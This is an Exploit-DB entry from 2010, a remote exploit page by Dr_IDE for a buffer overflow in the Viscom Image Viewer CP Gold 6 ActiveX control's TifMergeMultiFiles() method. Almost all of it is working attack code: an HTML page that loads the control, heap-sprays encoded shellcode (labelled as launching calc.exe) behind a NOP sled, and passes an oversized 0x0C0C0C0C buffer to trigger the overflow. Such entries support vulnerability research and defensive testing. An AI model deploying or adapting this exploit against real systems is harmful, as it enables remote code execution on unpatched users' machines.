Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow

EDB-ID:

15668


Author:

Dr_IDE

Type:

remote


Platform:

Windows

Date:

2010-12-03


<html>
<!--
Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://www.viscom.com
Greets: 	bz1p, bz1p@bshellz.net for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
-->
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");

arg2=String("abcd");

target.TIFMergeMultiFiles(arg2, arg2, ret);
</script>
</html>